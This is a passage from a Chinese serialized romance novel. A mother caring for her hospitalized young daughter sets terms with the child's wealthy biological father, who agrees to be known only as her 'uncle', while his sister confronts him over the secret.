喻梨很快说:“她不需要。”大约因为他越界,声音染着晨雾里的凉意,微冷。 祁阳便一时不知如何自处,只好说:“抱歉,是我唐突了,那我不打扰你们,先回去。”说完转身,抬腿。 喻梨看被燃过的烟头烫了一下,忽然有点愧疚,看他快走远,不忍心道:“什么粥?” 祁阳背影一顿,转身时,年轻的笑容又明亮:“蔬菜粥,还……还有三明治,我看你经常吃三明治。” 喻梨将烟头捻灭在旁边垃圾桶:“星星有人喂,你给我吧,我没吃早饭。” 祁阳几步过来,将手中餐盒递给她。 喻梨看了一眼,准备得挺丰富的,笑笑:“你吃早饭了没?” 祁阳有些意外。 两个人就坐在花园旁边的长廊里吃早餐。 木质的长庭椅很凉,祁阳顺手将围巾摘下,垫在上面,让她坐下。 喻梨半叠着腿,三明治还是热的,咬一口,有爆浆的芝士,口感不大像店里卖的,于是问:“你自己做的?” “嗯,还不太熟练,是不是不好吃,要不你喝粥?”祁阳有些紧张。 “没有,挺好吃的。”说完,喻梨又咬了一口,想起什么,忽然有些怅然说,“以前有个人,明明我做得挺一般的,被他夸得天上地下,可是后来,等我做得很好了,他却再也吃不到了。” 这是第一次,在某个冬日的早晨,祁阳听她提起那个人,就像他隐约明白,她心底,一定有某个刻骨铭心的存在…… 他就安静地听, 并不插话,虽然只认识短短半年,相处的时间不多,祁阳却摸清她一些习惯,比如她其实不太有烟瘾,只会在压力特别大的时候,点燃一两只。 抽烟的时候,神色特别怅然,眉间褶皱很深,让人忍不住想替她抚平。 “我最近,经常想起他。”喻梨似乎也不管他有没有听,自顾垂眸说,“好笑得是,我其实已经有点记不清他模样了,只记得他笑起来真的很暖,很治愈,好像遇到什么烦恼,只要笑一笑,都能过去。” “我真的,很想他。” 祁阳手指握了握,尽管明白自己是个替代品,却依然忍不住沉沦,直播间刷得最多的是让他笑一笑,原来不止是粉丝,她选择他大抵是因为他笑得像那个人。 “是这样吗?”祁阳搞了个怪,食指将脸颊的肉往上撑,仿佛90年代上台领小红花的学生,笑得极为做作。 喻梨偏头看他一眼,忽然被这小孩逗笑。 清晨的雾气,说散就散。 楼上,沈砚双手插兜,面无表情地望着楼下花园里,一边吃三明治,一边笑随意灿烂的男女。 幽深的桃花眼底,目光逐渐阴蛰。 第55章 第55章原来除了‘为什么死得不…… 沈砚偏头看了一眼桌上已经逐渐冷却的早餐,目光晦暗,神色不明。 病床上的星星双腿扭动,憋了憋,忽然说:“我要尿尿。” 沈砚似乎才回神,一时间不知道怎么处理这种事,慌忙走到病床旁边:“大伯带你去厕所?”说完,要去扯她手背的针,又似乎觉得不太合适,想着要不要搬动吊瓶。 星星已经没办法忍耐:“我要尿尿,我憋不住啦。” 沈砚第一次这样手足无措,终于想起,还可以找门口看护,急忙冲出去,但护士刚赶到,星星已经尿床上。 小姑娘自尊心很强,很久没有尿过床,一阵憋屈,努力憋了憋,没憋住,眼睛一红,忽然开始掉金豆豆,越掉越凶:“哇呜呜,羞羞……” 星星第一次嚎啕大哭,沈砚发现自己一点办法都没有,只能给喻梨弹语音。 楼下,喻梨正平静跟祁阳说:“不用像他,你自己就很好,会招很多女孩子喜欢的。祁阳,这是我们私下最后一次见面,以后除了工作,我们不要见面了。” 祁阳有点慌:“是因为我今天的冒昧举动吗?” “不是。是我自己的问题,我目前没有任何想谈恋爱的想法,未来应该也不会有。” 所以,无法回应你的想更进一步。 “那能不能维持原状?我希望你不开心的时候,能够找我。”他有些小心翼翼道。 喻梨说:“你找个喜欢的女孩子吧,能让彼此都开心的,我……” 喻梨话还未说完,沈砚的语音弹过来,估计是星星出问题,她立刻接起来,沈砚说完,喻梨微微皱眉,很快跟面前祁阳说了句:“我们下次再谈。”匆匆折返上楼。 病房里,星星扯着嗓子哭嚎,既不肯让护士小姐姐帮忙换尿湿的裤子,也不肯让沈砚碰,直到喻梨上来,搂着她,拍了拍她背脊,帮她缓缓顺气,小姑娘声音渐渐改为抽噎,埋在妈妈怀里不肯出来,瓮声瓮气的:“妈妈,我尿裤子了……” 喻梨有些好笑,安慰她:“没关系,我们换干净的床单跟裤子就好。” 小姑娘抽抽噎噎:“可……可我都上幼儿园了,都是大朋友了,幼儿园才没有小朋友尿裤子。” “谁说没有的,她们都偷偷尿,星星已经很棒了。” 星星就傻乎乎地问:“真的吗?” 喻梨笑:“当然是真的,所以偶尔尿一次没关系,妈妈给你换干净的裤子好不好?” 星星点了点头,心里还是过不去,委屈说:“我不是故意的,是大伯不会,大伯好笨。” 喻梨身后,接收到女儿埋怨小眼波的沈砚有些尴尬地摸了摸鼻尖。 喻梨搭腔,只是抱起女儿,星星的一只手还扎着针在输液,沈砚这次很有眼色,看喻梨要帮她换裤子,便轻轻抬起星星的手,但是吊瓶里的液体就倒流了,星星也因为他突如其来的动作,疼了一下,哇的一声,又委屈的掉金豆豆。 沈砚:“.……” 喻梨淡淡看他一眼:“你做不了这个,叫护工吧。” 两个护工很快进来,一个负责喻梨换裤子时,轻轻帮星星扶住吊瓶,一个将床单被褥利落的换走。 喻梨刚准备脱她裤子,星星很有男女大防的捂着不让脱,脖子靠在妈妈肩膀,用湿漉漉的眼睛瞅着沈砚:“大伯不可以看,羞羞。” 沈砚清咳一声,有些狼狈地推门出去。 恰好助理的电话进来,他走到僻静处接电话。 是公事,助理提醒他,今天有两份合约需要签署,已经订好的去北城某工厂考察的行程。 沈砚看一眼腕表,吩咐把签署合约的权限交给某位董事,又让助理推掉原有的行程跟应酬。 消防通道的位置有一扇小窗,此刻从窗口望过去,可以清晰看见花园里的凉亭走廊。 几株腊梅绽放,刚才两个人坐着的地方已经空空,但沈砚忽然想起,其实已经很久,没有看她那样轻松且灿烂得笑过。 以至于他几乎快忘了,她其实是爱笑的。 助理调查的资料里,没有提及她这四年有交往任何男友,沈砚在他们公司里看到那个笑容灿烂的男孩,确定公司内没人知道两人私下的关系。 他不知道是否应该为此庆幸。 沈砚再反回去时,星星已经换好裤子,喻梨正用手机给她投屏看英文无字幕版的冰雪奇缘。 “她看得懂?”沈砚随口问。 喻梨正在收拾东西,顺口回答他:“她2岁以前在国外,可能因为环境问题,现在学英文比中文更快些。” 果然,演到某些片段,小姑娘完全跟着剧情走,激动得五官都跟着画面一起飞,一张小小的脸上,不知道哪儿来那么多丰富的表情,仿佛完全跟动画人物共情。 “mum,yousenthisicecastle。” “mum,Olafiing”小姑娘不满足自己一个人看,不时还要拉着妈妈一起讨论剧情。 喻梨有些敷衍的应付她。 沈砚越看越可爱,但小姑娘只会跟妈妈分享剧情,他这个‘大伯’刚犯过错,目前还没有资格。 想到这里,沈砚忽然说:“约了教授待会儿替星星做详细检查。我看她已经很熟悉扎针的流程,她身体底子不好?” 喻梨正将孩子昨天弄脏的羽绒服和裤子收进袋子里,准备找附近的干洗店干洗,闻言手上动作顿住,颇为神奇地望了沈砚一眼。 只一眼,电光火石,沈砚想起自己曾经在车流里让她站立,在倒春寒的天气让她在游泳池捞自己的打火机,他脸色瞬间肉眼可见的苍白如纸,喉头滚了滚,不知道该说什么,幽深的眼底,被浓烈的有关愧疚的情绪覆盖。 喻梨情绪并无波动,甚至没有责怪,只将袋子收好,敛眉说:“跟你也没太大关系,主要是我的问题,没有调理好身体,不过她很顽强,还是活下来。”说着,喻梨偏头看一眼 兴致勃勃的女儿。 “我去找教授。”沈砚低声道,仿佛不敢再看喻梨或者病床上的星星,几乎有些狼狈得躲出去。 门口保镖看老板脸色苍白的出来,互相对视了一眼,有些诧异。 沈砚仿佛觉得有些无法呼吸,走到方才的通道,扯了扯衣领,目光落在窗外景色,眼神痛苦又落寞。 隔了会儿,保镖说教授过来了。 是南城最有权威的儿科教授,给星星做完详细的检查,说出的话跟喻梨以前听过的差不多,孩子娘胎里底子不好,只能慢慢依靠后天调养,目前看来已经照顾得非常精心了,这次孩子惊厥处理得很好,肺部目前的感染也及时控制住,再观察两三天就可以出院。 喻梨仿佛已经知道结果,跟教授客气了两句,对方显然冲着沈砚面子,还提出可以跟她加个微信,小朋友有关的任何问题,他都可以解答。 喻梨没有拒绝,客气的加了对方微信。 沈砚却并不满意,提出:“我想找北城的中医给星星调理身体?” 喻梨有些疲累,敷衍的点点头,转而说:“你忙的话可以先回去,教授也说了,再观察两三天就可以出院。” 沈砚单手插兜,垂眸看她的目光平和柔软:“不忙,部分行程已经推掉,我等星星好了再走,你累的话要不要先休息一会儿,星星这里有我。” 喻梨定定望着他,半响,忽然说:“看来你真的很喜欢星星,沈砚,你是因为新奇还是别的,其实不用做到这个地步,这辈子,星星对你的称呼都不会改变,只能是大伯,你也能接受吗?” “新奇?”沈砚扯了一下唇角,敛眉,“我倒希望是因为新奇,可是跟她多见一次面,感情就深一点,责任也觉得更重一点,以前没有做好的部分,至少希望从现在开始,可以尽力去弥补,不止是对于星星,也有……你。”尾音颤了颤,难得的,稍稍低沉下去。 喻梨听他提到自己,当做没听见,只是平静强调:“如果是尽‘大伯’的责任,可以,我替廷……他,谢谢你。” 沈砚瞳孔微缩,黑色瞳仁里有痛苦的部分流露:“这个算是你上次说的,考虑的结果?” 喻梨握了一下手指,点头:“嗯,暂时……算是吧。” 沈砚苦笑:“如果我能不接受呢?” 喻梨又握了一下手指,睫毛煽动间,尽力平稳的情绪稍稍破碎,抬眸看他的目光坦然又仿佛带着某种碎裂:“也许你没办法理解,从跟你重逢到目前为止,沈砚,我已经拼尽全力在忍耐,事实是,跟你多呆一秒钟,其实都是很艰难的事情,所以没有办法接受跟你一起抚养星星。这个条件,是我的底线,如果你实在不能接受,我们只好法庭见。” 沈砚被她平静的目光烫到,他喉头滚了滚,几乎是立刻转移视线,落在医院走廊雪白的墙壁上,那样的白,不沾染一丝瑕疵,透出某种死寂般的绝望。 他想原来她可以这样残忍,原来除了‘为什么死得不是你’,还有更多的‘跟你多呆一秒钟都是艰难’在等他,她永远不可能像坐在那个男人身边那样笑,她那样淡定平静,不过是成年后的历练,连憎恨他都不肯,因为光是跟他待在一起,已经是种艰难的忍耐。 沈砚插在兜里的手指捏得很紧,喉头几次剧烈地滑动,胃部隐隐抽搐,目光丝毫不敢放在她脸上,过了有半个世纪般的寂静,他听见自己从喉头滚出的声音:“可以。” 喻梨目光落在他胸膛的位置,闻言,唇角细微地扯了一下:“很好。”声音淡淡的。 然后她转身,去星星病房。 第56章 第56章是不是因为,其实星星迫…… 赵雨浓知道干女儿生病,一定要跟星星视频,星星拿出自己新得的爱莎炫耀:“看,爱莎女王。” 小姑娘脸颊还带着病态,精神却很好,赵雨浓稍稍放心:“呀,你又有新玩偶了,干妈有点羡慕哦,是谁这么有眼光,送我们星星这么漂亮的玩偶呢,一定是送到星星的心坎儿上了,星星很喜欢对不对?” 星星偷偷瞥一眼沙发上用商务电脑工作的妈妈,嗓音低了点:“是大伯。” 赵雨浓莫名其妙,星星怎么会多出一个大伯:“什么大伯?哪个大伯?” 星星解释不清楚,抓着玩偶囫囵道:“大伯就是大伯,笨蛋大伯,不会帮星星尿尿的大伯。” 赵雨浓消化了一下,顿时十分震惊,恰好喻梨再也听不下去两人的胡乱聊天,将手机拿过来。 赵雨浓立刻问她:“沈砚来看星星了?” 喻梨‘嗯’了一声,看一眼女儿,走到病房阳台上接电话。 “你怎么会允许他来看星星?他什么想法?会跟你抢星星吗,喻梨,星星是你的命根子,不能被他抢走!”赵雨浓情绪激动,一顿连珠炮似的的提问,喻梨有点脑门儿疼。 她三言两句提了最近发生的事,又将两个人上午的聊天内容说了,赵雨浓更是震惊:“他居然同意当孩子大伯!” 喻梨听她扯着嗓子吼,怕病床上星星听到,微微皱眉提醒她:“嗯,我说这是我的底线。你小声点,星星耳朵很灵,大人聊八卦她都听得懂,她很敏感的。” 赵雨浓立刻放低音量:“我只是不可思议,没想到太子爷能妥协到这个地步,他跟星星相处怎么样,星星是不是……喜欢他?” 喻梨沉默片刻,半响才说:“也许是周围第一次有异性,星星对他很好奇,就算有好感也很正常。” 这次换赵雨浓沉默。 她想了想,实在不知道该说什么,半响才一句:“他对星星好就行,就当多一个人爱星星。”说完,又觉得自己很傻,喻梨心里一定会很膈应,不得不转移话题,“对了,你上次不是说保姆的事吗,最近有没有面试到合适的?” “没有。” “星星什么时候放寒假。” “下周吧,但是星星目前的身体,我不打算让她读完这学期,等身体好,休息几天。” “你工作那么忙,可以把星星交给我,让她跟我在村子附近转转,接接地气,也许就无病无灾。” “民宿也挺忙的,偶尔放一放还行。我考虑给她报寒假托班。”喻梨说出自己的打算。 赵雨浓觉得也行,又想起什么:“今年过年你也来我家啊,带上星星一块儿,我妈那天还跟我念叨你了,还给你做了一些年货,看你什么时候有空能拿。” 喻梨自从跟徐凤芝闹翻以后,再也没联系过,刻意不想让徐凤芝知道星星的存在,徐凤芝甚至以为喻梨还在国外,因此过年也就打个电话的程度,去年倆母女就孤孤单单的在南城过年,还是赵雨浓硬把她拉回自己老家,感受了点过年的年味。 喻梨想了想,其实大过年的,不太喜欢打搅别人家:“再看吧。” 赵雨浓坚持:“什么再看,就这么说定了,今年家里特意装了地暖,肯定冻不着你跟星星。” 沈砚进来时,恰好看见喻梨正在阳台跟人视频聊天,他无意听了一耳朵,像是在跟朋友提过年的事。 沈砚不便多听,看星星无聊得在病床上玩爱莎公主,拿出一篮子助理准备的故事书和玩具。 星星果然立刻就被吸引,从篮子里挑出一本书:“我要妈妈跟我讲故事。” 沈砚摸摸她脑袋:“妈妈正在打电话,我们不打扰她,大伯跟你讲好不好?” 星星有些怀疑:“你会讲故事吗?” 沈砚目光柔和:“试试看。” 他有一张很帅的脸,像星星看的动画片里的王子,微笑的时候眼神温和,眉星目剑,总让星星觉得自己是他非常重要的宝贝,星星脸有点红,想了想,有些傲娇地将故事书放在他手上:“那你要好好讲哦。” 沈砚笑着答应:“好。” 星星就把被子掀开:“那你进来。” 沈砚莫名:“嗯?” “你要睡这里,然后搂着我,妈妈都是这样给我讲故事的。”星 星眨了眨眼,还是觉得这个大伯好笨,可是大约他身上散发的爱意太浓烈,小姑娘还是觉得自己可以勉为其难教教他。 沈砚心里一跳,看着小姑娘理直气壮的模样,心里软乎乎的,依言躺过去,仿佛怕弄碎他一样,非常小心的松松搂住她暖烘烘的小身体。 不同于喻梨的冷漠,星星仿佛天然喜欢亲近他,即使有别扭的地方,依然在渐渐大方得接受他。 星星脑袋枕着男人的手臂,跟妈妈的完全不一样,硬邦邦的,他身上的味道也跟妈妈的不一样,妈妈香香的,暖暖的,他的味道完全不一样,但是星星也不排斥,躺在他胳膊上,忽然只用彼此听得到的声音悄悄问他:“你见过我爸爸吗?” 沈砚整个愣住,凝视怀里软乎乎的小东西,不知道该怎么回答。 星星继续说:“你是大伯,大伯是爸爸的哥哥,你一定见过我爸爸对吗?” 沈砚喉结滚了滚,身体绷紧,半响才点头。 星星就得意地笑:“我就知道你肯定见过我爸爸,他是不是很好看?跟你一样好看吗,妈妈说都不记得爸爸的样子,我问她,她会伤心。” 沈砚很难想象这是三岁多的孩子会说出的话,她有惊人的表达力,也有更加惊人的洞察力,就好像他跟喻梨之间没有一次争吵,星星也能隐约从妈妈的态度里辨别出喻梨不喜欢他,从而拿捏对自己的态度。 “比我好看。”他想起廷屹,廷屹很小的时候,因为体弱,也是这般敏感。 星星听他回答,好开心,露出‘一副我就知道’的小模样,小手把他手上的书翻开,提醒他:“你可以讲了。” 沈砚一颗心被女儿反复揉搓,又酸又涩,又隐约带了点儿甘之如饴的甜,清了清嗓音,温柔地开始跟星星讲故事。 他嗓音低沉悦耳,星星听得入迷,不知不觉打起呵欠,再也坚持不住,困倦地闭上眼睛。 怀里的小东西软软糯糯,午后阳光照在她纤长卷翘的睫毛上,仿佛镀上淡淡的金粉色,她半抿着唇,呼吸清浅,好几次,沈砚忍不住抬手确认她呼吸,仿佛害怕她会不会忽然没有气息,最终没忍住,在她小脸蛋轻轻落下一吻。 不知道什么时候,他也跟她一块儿睡着,昨晚从北城马不停蹄赶来,其实他也只在飞机上和沙发上简单休憩了片刻,这会儿抱着小姑娘软糯馨香的身体,在午后的阳光里,居然也得到久违的松懈感。 喻梨挂完电话时看了一眼房间内的一大一小,惊讶于星星接受沈砚的速度,星星很少同人这样亲昵,就连隔壁许英一家,也是熟悉了好久,星星才肯偶尔让许英带带,但是沈砚第一次,就成功的带走她,且星星没有哭闹。 是不是因为,其实星星迫切地想要一个‘爸爸’,或者与‘爸爸’有关的人? 第三天,星星终于可以出院。 沈砚确实几乎做到寸步不离,在医院附近究竟开了一家酒店,将大部分会议转为线上,将能往后延迟的应酬都尽量延迟。 喻梨数次提醒他不必做到如此地步,他充耳不闻。 沈砚离开南城前,两人在喻梨小区附近茶室见面。 沈砚推给她几份资料。 “听说你在面试保姆,上次说过,作为星星的……亲人,有困难的地方你可以跟我提,虽然你没有提,但是还是准备了这些。” “是许佑小时候用过的一家育儿师机构,保姆也很专业,一个育儿师加一个保姆,希望能解决你目前的困境。你签字的话,她们明天可以飞过来,合同是三年制,费用由我这边开。” “不要急着拒绝我,按你说的,即使是为了廷屹,我也会做到这个地步。”短短几天,沈砚似乎已经学会跟她沟通的技巧,以廷屹的名义,总是方便许多。 但,沈砚依旧觉得酸涩,说完忍不住偏头看一眼窗外街景,目光虚浮,仿佛害怕被她立刻拒绝。 许佑一直被沈清培养得非常好,带许佑的育儿师机构,喻梨是信任的。 出乎意料,她没急着拒绝,拿起资料翻了翻,育儿师的资历背景果然不一般,她内心是满意的,只是问:“已经面试过?” 沈砚有些意外,目光挪回到她脸上,轻轻‘嗯’了一声。 喻梨就说:“费用由我这边开。”说完再合同上签字。 沈砚定定望向她,有时非常不明白她的某种坚持,但他不想此刻跟她纠缠这些,推过去第二份文件:“这是南城排名前五的幼儿园的综合评估,内部资料,应该比你了解的更详细,如果你坚持替星星转学,可以参考,任何一所,只要星星想进,都可以。当然,也有北城的,不过我想,你应该不会选北城。” “谢谢。”喻梨这次也很坦然的接受了。 第57章 第57章看来你这个大伯当得比舅…… 沈砚其实还准备了第三份资料,但他犹疑片刻。 试探说:“如果我想谢谢你生下星星,准备了一份礼物,你也会接受吗?” 喻梨将资料收拾进托特包里,不留情面说:“那你的误会可能比较深,毕竟生下星星不是为了你。” 仿佛料到如此,沈砚牵唇,勉强笑笑,似乎已经麻木。 茶室的光影是暖色调,他穿一件含顶奢麝牛绒毛的大衣,质地轻薄,却十分暖和,光影下,轮廓锋利的面颊含着几分苦涩,桃花眼微微抬眸,诚挚道:“还是要谢谢你,这两天,跟星星相处,我很开心,甚至称得上美妙。你把她养得很好,所以,谢谢。” 闻言,喻梨捻着资料的手指微顿,片刻后与他对视:“那就到此为止。开心和美妙这种情绪往往是因为稀有才珍贵,按照我们的约定,以你的身份,没必要经常跟星星见面。” 沈砚笑了一下,这次没出声。 喻梨当他默认,拧起包包起身:“我先回去,再见。” 沈砚抿了口茶,望向她翩跹的背景,唇角带着一丝弧度道:“会再见的。” 然后,他把准备好的宏鑫收购的那百分之十八的股权撕掉,扔进了垃圾桶内。 十八是个恰到好处的数字,喻梨原本占股百分之四十,这次被宏鑫买走,她就可以超越沈欣瑜,拥有公司绝对的控股权。 但她不要,她连他定的饭都懒得吃,怎么会要这些股份,是他痴心妄想而已。 私人飞机停在杨董名下的私人停机坪,这次已经申请好航线。 杨董是个懂做生意的,虽然杨夫人不怎么样,但杨董一句‘买卖不成仁义在’,南城的一应事务,几乎都是他在帮忙料理,沈砚就认他这份人情。 上机前,助理跟他引荐南城的置业顾问,对方年过四十,对南城整座城市的发展算得上了如指掌,工作几乎只针对房产的高端客户服务,推荐的别墅与高级平层公寓,大致都符合沈砚的需求。 沈砚很少在购置房产这种事上费工夫,既然助理已经筛过一遍,他也只随手拿起宣传册看了几眼,选的第一套是喻梨目前的平层公寓,里面虽然住着许多网红,有些麻烦,但近一点儿,总归是好的。 剩下的,又挑了一套别墅。 至于其他的,要看喻梨下学期给星星选择哪所幼儿园,再确定。 职业顾问几乎还没怎么卖力宣传,就被告知老板挑了两套,准备的一肚子关于房屋有点以及前景的话拦在肚子里,被惊喜砸中,有些莫名其妙。 助理登机前将资料塞回给他,看大目瞪口呆的,有些好笑,说了句‘我们老板以前是做房地产的,应该比你更熟悉,准备好房屋合约,特备是公寓那套,会提前有专人来打理。’说完,在沈砚身后登入舱门。 沈母去年做过一次乳腺癌手术,虽然定期检查,不再复发,但是医生说她思虑过重,沈砚回沈宅次数比以往日更频繁。 这晚,飞机一到沈家私人停机坪,沈砚也直接回了沈宅。 照例先去看沈母。 沈清也在,母女俩正带着许佑在书房练字。 母亲书法好,这两年亲自教许佑练字,7岁多的许佑个子比同龄的孩子高些,练起字来也已经有模有样。 见到舅舅进来,会礼貌地停笔向他问好,小小少年,被养得芝兰玉树,端庄持重。 沈砚陪母亲和沈清聊了会儿天。 结束后,回了自己房间。 刚冲完澡,被沈清敲响房门。 自从跟丈夫回国后,沈清大部分精力用于教养儿子和公司名下的一些慈善事业,许佑今年一年级,她便多出更多闲暇时间,用以关心弟弟的个人私事。 “妈嘴上不说,心里是希望你早点定下来的,上次你忽然就挂我电话,徐清晚,我听说你们有第二次见面,你觉得怎么样?” “不怎么样。”沈砚穿得一丝不苟,拿出一瓶威士忌,往水晶杯里加冰块。 沈清要简直要被他气死:“怎么就不怎么样了,人家一个花滑皇后,追求者不知道绕北城多少圈,肯赏脸跟你吃第二顿饭已经算是对你有意思,你能不能上点心!” 沈清的口吻,弟弟俨然是没人要的老男人,多少带了点儿怒其不争的无奈。 沈砚笑:“第二次只是刚好碰巧遇见。” 沈清那个怒:“碰巧也是缘分!我看你从来不跟其他女人碰巧,是不是也算有好感?有好感也很难得,你这么挑剔……” 沈砚敛了敛眉,忽然说:“我在南城遇见了喻梨。” 沈清就卡住了,一时没接上话:“你说谁?” “喻梨。”沈砚清晰道,忽然发现单单只是唇齿间咬出这个名字,胸口也能划过一抹异样,丝丝缕缕的痒与涩。 沈清这次好久没说话。 隔了会儿才有些怅然问道:“她不是出国了吗,怎么在南城碰到她。” 沈砚声线平稳:“定居南城了。” “她……过得好吗?”这句话问得真诚,含着关心。 从始至终,无论大人之间发生什么,沈清似乎总是把喻梨当做那个可可爱爱的有点恋爱脑的妹妹,因此希望她过得好。 沈砚想了想,跟星星在一起,她总是笑得温柔灿烂,仿佛过得很好的模样,但偶尔单独见她,眼底总带着一丝疲惫,沈砚很难断定,她过得好与不好。 唯一可以确定的是,每次见她,自己心底会多一丝心疼。 “不知道,我没问。”这会儿,沈砚敛眉说,嗓音很轻,又含了点别的。 其实该问的,他想,怎么没有问一问呢?但她那样排斥他,他仿佛连询问她的资格都没有。 沈清看弟弟一脸恍惚的样子,心里也不好受,张了张唇几次想说什么,都没说出口,忽然想起:“你最近两次出差南城都是为了她?” 沈砚坦然道:“第一次不算,第二次,算是吧。” 沈清有些惊讶,但仿佛心里又早就有答案,联想起两个人上个话题,沈砚忽然从相亲对象过度到喻梨身上,她不得不深想下去:“你还忘不了她?” 沈砚喉结滑了滑,有些僵硬地点了点头,承认。 片刻后,他平静说:“喻梨带着一个女儿,三岁多,叫星星,是我的。” 沈清的脑子瞬间爆炸,联想起时间线,彼时喻梨应该是跟廷屹在一起,怎么又成了阿砚的女儿? 她脸色越想越难看,越想越愤怒,忽然一巴掌朝弟弟那张清冷的俊脸扇过去:“你怎么对得起廷屹!二叔二婶那边,你怎么交代!” 沈清常年锻炼,除了瑜伽,近几年心血来潮练起拳击,力道也就非常重,‘啪’得一巴掌,一点没留余地,沈砚嘴角被打出血丝。 沈砚表情不变,像小时候挨姐姐揍,挨完还会傻乎乎问她手疼不疼。 他这次没问沈清疼不疼,只是清清冷冷说:“我没有对不起廷屹,事情发生在他跟喻梨在一起之前,廷屹应该也知道孩子的存在,喻梨是因为特殊血型的关系,不得已生下来的,我想廷屹就是因为这个,才支持她,但是不一定知道孩子属于我。” 沈清不是没见过风浪,相反,在年轻时候,她就在沈氏担任要职,过手的都是上亿的项目,弟弟廷屹的丧事也是她一手操办,她是见过大风大浪的人。 但即使如此,听到沈砚这一段话,她依然有些无法消化,一屁股坐在沙发上,觉得浑身的力气都有点被抽离的摊软。 沈砚将加了冰块的威士忌递给她:“喝一点,然后你可以继续揍我或者数落我。某种意义上,确实是我愧对廷屹。”句末,桃花眼底带着隐痛。 沈清喝了一口冰凉的酒,头脑清醒了些:“现在说这些有什么用,二叔二婶那里怎么办?你打算怎么面对他们?” “这就是我跟你说的目的,南城虽然隔得远,但二叔二婶迟早会有知道的一天,我这一两年可能会经常出入南城,为避免有心人从中作梗,传到北城的谣言,还要拜托姐你。”语气郑重。 沈清冷笑,难得对弟弟口吻这么刻薄:“你倒好意思提这个要求,爸妈怎么办?孩子怎么办?喻梨怎么办?” 沈砚冷静的面容终于透出些许无奈:“我很少遇到什么事情能让我说出‘走一步算一步’这种话,但是姐,这次真的得先这样。在有好的办法之前,喻梨和孩子,我不能让她们受到任何打扰。” 沈清第一次听他语气这样灰败,心里一时有些不落忍,想说点什么安慰的话,又觉得他闯出这么大的祸,凭什么安慰,想了想,只能冷冰冰问:“喻梨是什么想法,你们要共同抚养这个女儿吗?” 沈清这样问,沈砚英俊的脸颊更加落寞颓丧。 抬手几乎喝了半杯威士忌才苦涩道:“她让孩子叫我大伯,只肯承认孩子属于廷屹。” 沈清:“.……” 该! 随即,她又想起一些事:“难怪几天前碰到你的财务顾问,说信托公司那边在给你做新的受益人委托合同,我还以为是你这个当舅舅的送给许佑的。” 沈砚敛眸。 沈清继续冷嘲热讽:“看来你这个大伯当得比舅舅称职,就是不知道人家接不接受了。” 第58章 第58章我在修车,我妈妈的车坏…… 沈砚请的育儿师以及保姆,第二天就来报道。 家里一下子多出两个陌生人,星星很不习惯,好在孙阿姨不会立即走,答应帮星星先适应一星期。 育儿师姓刘,三十八岁,拥有丰富的育儿经验,带过三个宝宝,其实两个带到三岁多,一个带到6岁,戴一副眼镜,微胖,笑眯眯的,看起来很和蔼。 保姆年纪大一点,已经50多岁,只做了两顿饭,成功先征服孙阿姨,偷偷跟喻梨说,如果不是实在没办法,把星星匆忙交给别人她是不放心的,但现在看来,星星是个有口福的。 喻梨仍然不安,让孙阿姨多帮忙看看,自己又用表格整理了星星的一些生活和饮食习惯交给两人,孙阿姨也手把手将自己每天带星星的活动流程分享了,事无巨细。 星星慢慢也开始熟悉新来的育儿师跟保姆。 但孙阿姨正式走那天,小姑娘不哭不闹,连告别都不肯说,趴在软垫上玩积木,谁也不理。 这种状态持续到第二天,星星只跟妈妈说话,前几天还要跟育儿师做游戏,晚上也接受育儿师讲故事哄她睡觉,孙阿姨一走,小姑娘谁都不要,只要喻梨,紧紧扒在妈妈身边,眼神警惕,主打一个谁逗谁不理,连许英和果果来了都没用。 这晚,趁星星被哄睡,刘昕在书房找她谈话:“喻小姐,星星一直是你一个人在带吗?我的意思是除了保姆之类的,有其他亲戚往来吗?” “她还有个干妈,在郊区,我们一个月要去两三次,剩下的是隔壁邻居一家,玩得挺好,星星可以在他家玩一整天。”喻梨想了想回,说完,也觉得有些异样。 刘昕推了一下眼镜框:“我没有其他的意思,只是既然要带星星,就希望了解她多点儿。星星目前这种情况,在小孩子里也不多见,我读过一些心理学,在星星目前的成长环境中,除了您和您口中的干妈,似乎没有一段长久固定的关系,这让星星内心非常缺乏安全感,所以最近很排斥我跟阿姨。冒昧地问一下,孩子的外公外婆呢,你们也不联系吗?” 单亲家庭至少孩子还有外公外婆帮忙,孩子不至于缺失那样严重,星星的情况 显然不止于此。 喻梨沉默片刻:“一年联系一两次,外公外婆不知道孩子存在。” 刘昕不敢再问下去,她是被请来的,没有必要置喙太多,只是站在关心孩子的角度:“我明白了,对待星星我会拿出更多的耐心的。当然,如果有办法的话,希望星星的成长环境里更多一些亲人比较好,不管是爸爸、爷爷、奶奶、外公、外婆,一些固定长久的关系,会让孩子的内心安全感更充足。或者说,你有没有发现星星生活里都是女性,如果有一些男性长辈,会对星星在异□□流方面有更好的示范作用。” “谢谢,我会好好考虑你的建议。” 刘昕笑笑:“应该的,那您早点休息。” 刘昕一走,喻梨处理了几项工作要务,三十分钟以后,忽然捏了捏眉心,转头望着窗外沉沉夜色,陷入沉思。 第二天依然如此,星星一大早起床就开始粘着喻梨,阿姨跟刘昕一起问她早安,她紧紧抱着喻梨的腿,不说话。 喻梨就低头问她:“宝贝,想不想吃三明治,妈妈做的?” 星星想了想,点头。 刘昕几次试图用小朋友感兴趣的玩具或者游戏吸引她,统统被星星无视,一定要粘着喻梨,不肯离开妈妈半步。 喻梨已经请了三天假,今天必须去公司处理一些事情,见她实在不肯撒手,只好说:“我带她去公司处理点事情,下午带她去郊外散散心,看看能不能好点儿。” 刘昕点头,只好如此。 喻梨开车带星星去公司。 小姑娘那晚惊厥,吓坏公司一群年轻同事,这次到公司,明显没上次精神头好,整个人焉焉儿的,都没上次爱说话了,谁逗她,她都转脸去找妈妈,话也不想说。 沈欣瑜见状,大咧咧的:“怎么的?病一场这么严重,自闭了?” 喻梨瞪她一眼,看一眼坐在办公室里安静玩娃娃的星星,揉揉太阳穴:“家里换阿姨,她可能不太适应,孙阿姨一走,她就这样,育儿师说她可能是太缺乏安全感。” “那还怎么换幼儿园,你女儿本来就敏感,一个阿姨就这样,你确定她能适应新的幼儿园环境。” 喻梨也是这样想的,不禁头疼:“育儿师说星星这种情况,跟成长环境有关,她一直跟我生活在一起,周围没什么亲人,最熟悉的阿姨又忽然离开,有这种举动也很正常。” 沈欣瑜赞同:“那是,而且你家里周围全是女性,连个公苍蝇都没有,星星能长成这样已经很不容易了。” 喻梨以前没深想过这个问题,昨晚上忽然意识到,星星的成长环境是否太孤独,她又经常加班,其实究竟有没有给星星一个好的生长环境? “你也觉得有问题?”被沈欣瑜这样点出来,喻梨眉心微皱。 